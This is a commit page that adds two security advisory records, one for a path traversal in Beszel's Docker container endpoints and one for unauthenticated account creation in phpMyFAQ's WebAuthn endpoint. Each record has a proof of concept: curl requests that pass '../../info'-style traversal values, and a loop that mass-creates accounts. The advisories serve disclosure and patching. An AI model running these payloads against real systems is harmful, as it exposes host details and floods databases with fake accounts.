Skip to content

Commit b3710a1

Browse files
1 parent 14856e0 commit b3710a1

File tree

2 files changed

+129
-0
lines changed

2 files changed

+129
-0
lines changed
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-phwh-4f42-gwf3",
4+
"modified": "2026-02-27T21:01:05Z",
5+
"published": "2026-02-27T21:01:05Z",
6+
"aliases": [
7+
"CVE-2026-27734"
8+
],
9+
"summary": "Beszel: Docker API has a Path Traversal Vulnerability via Unsanitized Container ID",
10+
"details": "### Summary\n\nThe hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied \"container\" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.\n\n### Details\n\n**Hub** (internal/hub/hub.go:407-426): `containerID` from query param is only checked for emptiness, no format validation:\n```go\ncontainerID := e.Request.URL.Query().Get(\"container\")\nif systemID == \"\" || containerID == \"\" { ... }\ndata, err := fetchFunc(system, containerID) // passed directly to agent\n```\n\n**Agent** (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:\n```go\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/json\", containerID)\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d\", containerID, dockerLogsTail)\n```\n\nGo's http.Client preserves `../` in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.\n\n### PoC\n\nTested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).\n```bash\n# Authenticate\nTOKEN=$(curl -s -X POST \"http://localhost:8090/api/collections/users/auth-with-password\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"identity\":\"user@example.com\",\"password\":\"password\"}' | jq -r '.token')\n\nSYSTEM=\"<system_id>\"\n\n# Path traversal: Docker version (returns full engine version, kernel, Go version)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=\" \\\n -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: Docker system info (returns hostname, OS, container count, network config)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=\" \\\n -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: List all images (triggers unmarshal error confirming traversal works)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=\" \\\n -H \"Authorization: Bearer $TOKEN\"\n```\n\nAll three requests returned real data from the Docker Engine API on the agent host.\n\n### Impact\n\nAny authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.\n\n## Researcher\n\nSergio Cabrera\nhttps://www.linkedin.com/in/sergio-cabrera-878766239/",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/henrygd/beszel"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.18.4"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.18.3"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/henrygd/beszel/security/advisories/GHSA-phwh-4f42-gwf3"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/henrygd/beszel/commit/311095cfddda113863ca9656cf9e99411be1cef5"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/henrygd/beszel"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/henrygd/beszel/releases/tag/v0.18.4"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-22"
62+
],
63+
"severity": "MODERATE",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-02-27T21:01:05Z",
66+
"nvd_published_at": null
67+
}
68+
}
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-w22q-m2fm-x9f4",
4+
"modified": "2026-02-27T21:01:58Z",
5+
"published": "2026-02-27T21:01:58Z",
6+
"aliases": [
7+
"CVE-2026-27836"
8+
],
9+
"summary": "phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint",
10+
"details": "### Summary\n\nThe WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.\n\n### Details\n\n**File:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php`, lines 63-79\n\n```php\n#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]\npublic function prepare(Request $request): JsonResponse\n{\n $data = json_decode($request->getContent(), ...);\n $username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);\n\n if (!$this->user->getUserByLogin($username, raiseError: false)) {\n try {\n $this->user->createUser($username);\n $this->user->setStatus(status: 'active');\n $this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);\n $this->user->setUserData([\n 'display_name' => $username,\n 'email' => $username,\n ]);\n```\n\nThe endpoint:\n1. Accepts any POST request with a JSON `username` field\n2. If the username doesn't exist, creates a new **active** user account\n3. Does NOT check if WebAuthn support is enabled (`security.enableWebAuthnSupport`)\n4. Does NOT check if registration is enabled (`security.enableRegistration`)\n5. Does NOT verify CSRF tokens\n6. Does NOT require captcha validation\n7. Has no rate limiting\n\n### PoC\n\n```bash\n# Create an account - no auth needed\ncurl -X POST https://TARGET/api/webauthn/prepare \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"attacker_account\"}'\n\n# Mass account creation\nfor i in $(seq 1 1000); do\n curl -s -X POST https://TARGET/api/webauthn/prepare \\\n -H 'Content-Type: application/json' \\\n -d \"{\\\"username\\\":\\\"spam_user_$i\"}\" &\ndone\n```\n\n### Impact\n\n- **Registration bypass:** Accounts created even when self-registration is disabled\n- **Username squatting:** Reserve usernames before legitimate users\n- **Database exhaustion:** Create millions of fake active accounts (DoS)\n- **User enumeration:** Different responses for existing vs new usernames\n- **Security control bypass:** WebAuthn config check is bypassed entirely\n\nAll phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "thorsten/phpmyfaq"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.0.18"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w22q-m2fm-x9f4"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/thorsten/phpMyFAQ/commit/f2ab673f0668753cd0f7c7c8bc7fd2304dcf5cb1"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/thorsten/phpMyFAQ"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-862"
55+
],
56+
"severity": "HIGH",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-02-27T21:01:58Z",
59+
"nvd_published_at": null
60+
}
61+
}

0 commit comments

Comments
 (0)